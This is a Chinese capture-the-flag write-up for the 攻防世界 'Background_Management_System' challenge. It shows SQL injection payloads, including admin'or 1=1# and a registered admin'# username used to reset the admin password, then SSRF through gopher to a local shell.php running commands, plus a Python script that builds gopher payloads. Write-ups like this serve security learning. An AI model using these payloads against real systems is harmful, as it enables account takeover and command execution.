攻防世界 Background_Management_System Writeup
攻防世界 Background_Management_System Writeup
个人做题思路以及过程总结
超详细思路过程
1.目测
首先打开看到提示是个管理系统,提示是1.网站管理员 2.不在数据库里面,尝试admin'or 1=1#万能密码登陆。失败,随便注册一个用户登陆进去,看要求是管理登陆就会得到hint(提示)。
2.扫描
对网站进行敏感目录扫描。有www.zip得到源码,数据库用户名密码遮住了,看来是要进行代码审计,目录下还有shell.php的php,不过限制了内网,可能是有ssrf。
3.代码审计
先对登陆进行审计过滤了很多Mysql函数,网站有三个功能与数据库相关,挨个研究,研究到修改密码功能
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
假如我们修改的是admin'#用户的密码,这句sql就变成了
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass' ";
后半部分注释掉
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'
所以我们需要注册一个用户名admin'#开头的用户,然后登陆修改密码,同时也就修改了admin的密码,可以登陆。
4.端口扫描
登陆拿到hint 提示的ssrf页面,ssrf对很多协议进行了过滤,只有gopher可以,经过对端口扫描测试,有80和3306端口,gopher80端口可以直接利用shell.php,顺便学习了一下gopher与mysql https://www.cnblogs.com/Zhu013/p/12505090.html
5.Gopher GET/POST
gopher要对符号进行二次url编码,
注意:‘?’一定要二次编码 system 系统命令 空格用+替代,也可以url编码成%2b
比如访问exp.php?cmd=ls
gopher://127.0.0.1:80/exp.php%253fcmd=ls
gopher://127.0.0.1:80/exp.php%253fcmd=ls+../
用wiresharke 或者burp 抓到原始包 保存为burp.txt
#coding:utf-8 from urllib import quote def hex(): #post 数据 f = open('post.txt') post = f.read() s = post.encode('hex') return s def results(s): a=[s[i:i+2] for i in xrange(0,len(s),2)] return "gopher://127.0.0.1:80/_%"+"%".join(a) if __name__=="__main__": results = results(hex()) # print(results) # url访问需再次编码 url = quote(results) print(url)
踩坑和经验
1.
提示是1.网站管理员 2.不在数据库里面(一定要听,反向思维搞了半天,结果就在文件里)
2.
由于不熟悉TP框架发现个文件convention.php里面的数据库配置是root和空密码以为是ssrf mysql,不过小白是按需学习,反正都不会,不亏.
3.
经验:内网扫端口,可以用burp爆破端口,大概就是看返回报大小判断内容。
4.
gopher GET/POST